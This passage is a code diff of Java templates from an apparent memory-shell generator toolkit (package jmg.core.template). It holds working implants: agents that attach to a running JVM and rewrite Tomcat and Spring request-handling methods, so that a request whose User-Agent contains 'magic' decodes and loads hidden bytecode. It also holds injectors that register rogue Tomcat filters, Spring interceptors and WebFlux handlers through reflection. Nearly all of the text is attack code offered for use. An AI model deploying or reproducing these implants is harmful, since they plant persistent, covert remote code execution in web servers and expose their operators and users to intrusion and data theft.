throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,200 @@
package jmg.core.template;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.ProtectionDomain;
import java.util.List;
public class SpringMVCAgentTransformer implements ClassFileTransformer {
public static final String targetClassName = "org.springframework.web.servlet.FrameworkServlet";
public static final String targetMethodName = "service";
public String injectHeaderName = "User-Agent";
public String injectHeaderValue = "magic";
public String getInjectorCode() {
return "";
}
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
instrumentation.addTransformer(new SpringMVCAgentTransformer(), true);
for (Class clz : instrumentation.getAllLoadedClasses()) {
if (!clz.getName().equals(targetClassName)) continue;
instrumentation.retransformClasses(clz);
}
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/", ".");
if (className.equals(targetClassName) && classBeingRedefined != null) {
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
CtClass ctClass = pool.getCtClass(className);
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
String injectorCode = getInjectorCode();
String code = String.format("try {\n" +
" if ($1.getHeader(\"%s\") != null && $1.getHeader(\"%s\").contains(\"%s\")) {\n" +
" String injectorCode = \"%s\";\n" +
" byte[] byteArray;\n" +
" try {\n" +
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
" } catch (Throwable e) {\n" +
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" +
" }\n" +
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
" method.setAccessible(true);\n" +
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
" clazz.newInstance();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
ctMethod.insertBefore(code);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}
return new byte[0];
}
private static Class virtualMachineClass;
private static Class virtualMachineDescriptorClass;
private static List<Object> vms;
static {
try {
// 获取 tools.jar 的路径
StringBuilder toolsJarPath = new StringBuilder();
toolsJarPath.append(System.getProperty("java.home"))
.append(File.separator)
.append("..")
.append(File.separator)
.append("lib")
.append(File.separator)
.append("tools.jar");
File toolsJarFile = new File(toolsJarPath.toString());
// 如果 JDK 目录下没有找到 tools.jar(纯JRE
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
// 释放内置的 tools.jar
InputStream jarStream = SpringMVCAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
toolsJarFile = File.createTempFile("tools", ".jar");
FileOutputStream out = null;
try {
out = new FileOutputStream(toolsJarFile);
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = jarStream.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
} finally {
if (out != null) {
out.close();
}
}
}
// Load the VirtualMachine and VirtualMachineDescriptor classes
URL url = toolsJarFile.toURI().toURL();
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
String jvmProcessId = null;
if (args.length == 0) {
// 列出所有 pid
listAllJvmPids();
} else {
try {
Integer.parseInt(args[0]);
jvmProcessId = args[0];
attachAgentToTargetJvm(jvmProcessId);
} catch (NumberFormatException e) {
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
}
}
}
public static void listAllJvmPids() throws Exception {
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String displayName = (String) displayNameMethod.invoke(vm);
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
}
}
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
infoLog("Current agent path: " + agentFilePath);
File agentFile = new File(agentFilePath);
String currentPid = getCurrentPID();
if (targetPID.equals(currentPid)) {
infoLog("Skipping attaching to self");
} else {
try {
infoLog("Attaching to target JVM with PID: " + targetPID);
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
Method detach = virtualMachineClass.getDeclaredMethod("detach");
detach.invoke(jvm);
successLog("Attached to target JVM and loaded agent successfully");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
private static String getCurrentPID() {
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
}
public static void infoLog(String message) {
System.out.println("[*] " + message);
}
public static void failLog(String message) {
System.out.println("[-] " + message);
}
public static void successLog(String message) {
System.out.println("[+] " + message);
}
}
@@ -0,0 +1,183 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.zip.GZIPInputStream;
public class SpringMVCInterceptorInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
public SpringMVCInterceptorInjectorTpl() throws Exception {
Object context = getContext();
Object interceptor = getInterceptor();
addInterceptor(context, interceptor);
}
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object httprequest = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(httprequest, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{classLoader.loadClass("javax.servlet.ServletContext")}, new Object[]{servletContext});
} catch (Exception e) {
}
if (context == null) {
try {
LinkedHashSet applicationContexts = (LinkedHashSet) getFV(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext;
}
} catch (Exception ignored) {
}
}
return context;
}
private Object getInterceptor() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
} catch (Throwable tt) {
}
}
return interceptor;
}
public void addInterceptor(Object context, Object interceptor) {
try {
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) getFV(abstractHandlerMapping, "adaptedInterceptors");
adaptedInterceptors.add(interceptor);
} catch (Exception ignored) {
}
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,185 @@
package jmg.core.template;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.server.ServerWebExchange;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Collection;
import java.util.zip.GZIPInputStream;
/**
* spring webflux + netty(default) -> spring RequestMappingHandlerMapping -> registerHandlerMethod
*/
public class SpringWebFluxHandlerMethodInjectorTpl {
public String getUrlPattern() {
return "";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
public SpringWebFluxHandlerMethodInjectorTpl() {
try {
Object requestMappingHandlerMapping = getRequestMappingHandlerMapping();
Object handlerMethod = getHandlerMethod();
addHandlerMethod(requestMappingHandlerMapping, handlerMethod);
} catch (Exception ignored) {
}
}
private Object getRequestMappingHandlerMapping() throws Exception {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object requestMappingHandlerMapping = null;
for (int i = 0; i < threads.length; i++) {
try {
Collection handlerMappings = (Collection) getFV(getFV(getFV(getFV(getFV(getFV(getFV(getFV(threads[i], "this$0"), "handler"), "httpHandler"), "delegate"), "delegate"), "delegate"), "delegate"), "handlerMappings");
Object[] objects = handlerMappings.toArray();
boolean flag = false;
for (int j = 0; j < objects.length; j++) {
if (objects[j].getClass().getName().contains("RequestMappingHandlerMapping")) {
requestMappingHandlerMapping = objects[j];
flag = true;
}
}
if (flag) {
return requestMappingHandlerMapping;
}
} catch (Exception ignored) {
}
}
return requestMappingHandlerMapping;
}
public void addHandlerMethod(Object obj, Object handler) {
try {
Method method = handler.getClass().getDeclaredMethod("invoke", ServerWebExchange.class);
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
invokeMethod(obj, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handler, method, requestMappingInfo});
} catch (Exception ignored) {
}
}
private Object getHandlerMethod() {
Object handler = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
handler = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
handler = clazz.newInstance();
} catch (Exception ignored) {
}
}
return handler;
}
private static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
private static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
private static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
private static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,204 @@
package jmg.core.template;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.ProtectionDomain;
import java.util.List;
public class TomcatAgentTransformer implements ClassFileTransformer {
public static final String targetClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static final String targetMethodName = "doFilter";
public String injectHeaderName = "User-Agent";
public String injectHeaderValue = "magic";
public String getInjectorCode() {
return "";
}
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
instrumentation.addTransformer(new TomcatAgentTransformer(), true);
for (Class clz : instrumentation.getAllLoadedClasses()) {
if (!clz.getName().equals(targetClassName)) continue;
instrumentation.retransformClasses(clz);
}
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/", ".");
if (className.equals(targetClassName) && classBeingRedefined != null) {
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
CtClass ctClass = pool.getCtClass(className);
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
String injectorCode = getInjectorCode();
String code = String.format("if ($1 instanceof javax.servlet.http.HttpServletRequest && $2 instanceof javax.servlet.http.HttpServletResponse) {\n" +
" javax.servlet.http.HttpServletRequest httpRequest = (javax.servlet.http.HttpServletRequest) $1;\n" +
" javax.servlet.http.HttpServletResponse httpResponse = (javax.servlet.http.HttpServletResponse) $2;\n" +
" try {\n" +
" if (httpRequest.getHeader(\"%s\") != null && httpRequest.getHeader(\"%s\").contains(\"%s\")) {\n" +
" String injectorCode = \"%s\";\n" +
" byte[] byteArray;\n" +
" try {\n" +
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
" } catch (Throwable e) {\n" +
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" +
" }\n" +
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
" method.setAccessible(true);\n" +
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
" clazz.newInstance();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }\n" +
"}", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
ctMethod.insertBefore(code);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}
return new byte[0];
}
private static Class virtualMachineClass;
private static Class virtualMachineDescriptorClass;
private static List<Object> vms;
static {
try {
// 获取 tools.jar 的路径
StringBuilder toolsJarPath = new StringBuilder();
toolsJarPath.append(System.getProperty("java.home"))
.append(File.separator)
.append("..")
.append(File.separator)
.append("lib")
.append(File.separator)
.append("tools.jar");
File toolsJarFile = new File(toolsJarPath.toString());
// 如果 JDK 目录下没有找到 tools.jar(纯JRE
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
// 释放内置的 tools.jar
InputStream jarStream = TomcatAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
toolsJarFile = File.createTempFile("tools", ".jar");
FileOutputStream out = null;
try {
out = new FileOutputStream(toolsJarFile);
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = jarStream.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
} finally {
if (out != null) {
out.close();
}
}
}
// Load the VirtualMachine and VirtualMachineDescriptor classes
URL url = toolsJarFile.toURI().toURL();
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
String jvmProcessId = null;
if (args.length == 0) {
// 列出所有 pid
listAllJvmPids();
} else {
try {
Integer.parseInt(args[0]);
jvmProcessId = args[0];
attachAgentToTargetJvm(jvmProcessId);
} catch (NumberFormatException e) {
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
}
}
}
public static void listAllJvmPids() throws Exception {
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String displayName = (String) displayNameMethod.invoke(vm);
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
}
}
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
infoLog("Current agent path: " + agentFilePath);
File agentFile = new File(agentFilePath);
String currentPid = getCurrentPID();
if (targetPID.equals(currentPid)) {
infoLog("Skipping attaching to self");
} else {
try {
infoLog("Attaching to target JVM with PID: " + targetPID);
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
Method detach = virtualMachineClass.getDeclaredMethod("detach");
detach.invoke(jvm);
successLog("Attached to target JVM and loaded agent successfully");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
private static String getCurrentPID() {
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
}
public static void infoLog(String message) {
System.out.println("[*] " + message);
}
public static void failLog(String message) {
System.out.println("[-] " + message);
}
public static void successLog(String message) {
System.out.println("[+] " + message);
}
}
@@ -0,0 +1,294 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
/**
* Date: 2022/11/01
* Author: pen4uin
* Description: Tomcat Filter 注入器
* Tested version
* jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*/
public class TomcatFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new TomcatFilterInjectorTpl();
}
public TomcatFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName());
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
ClassLoader catalinaLoader = getCatalinaLoader();
String filterClassName = getClassName();
String filterName = getFilterName(filterClassName);
Object filterDef;
Object filterMap;
// 防止重复注入
try {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
return;
}
} catch (Exception ignored) {
}
try {
// tomcat v8/9
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
} catch (Exception e2) {
// tomcat v6/7
try {
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
} catch (Exception e) {
// tomcat v5
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
}
}
try {
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
Constructor<?>[] constructors;
try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
} catch (Exception e) {
// tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
}
try {
// v7.0.0 以上
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
} catch (Exception e) {
e.printStackTrace();
}
}
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
ClassLoader catalinaLoader = null;
for (int i = 0; i < threads.length; i++) {
// 适配 v5 的 Class Loader 问题
if (threads[i].getName().contains("ContainerBackgroundProcessor")) {
catalinaLoader = threads[i].getContextClassLoader();
break;
}
}
return catalinaLoader;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
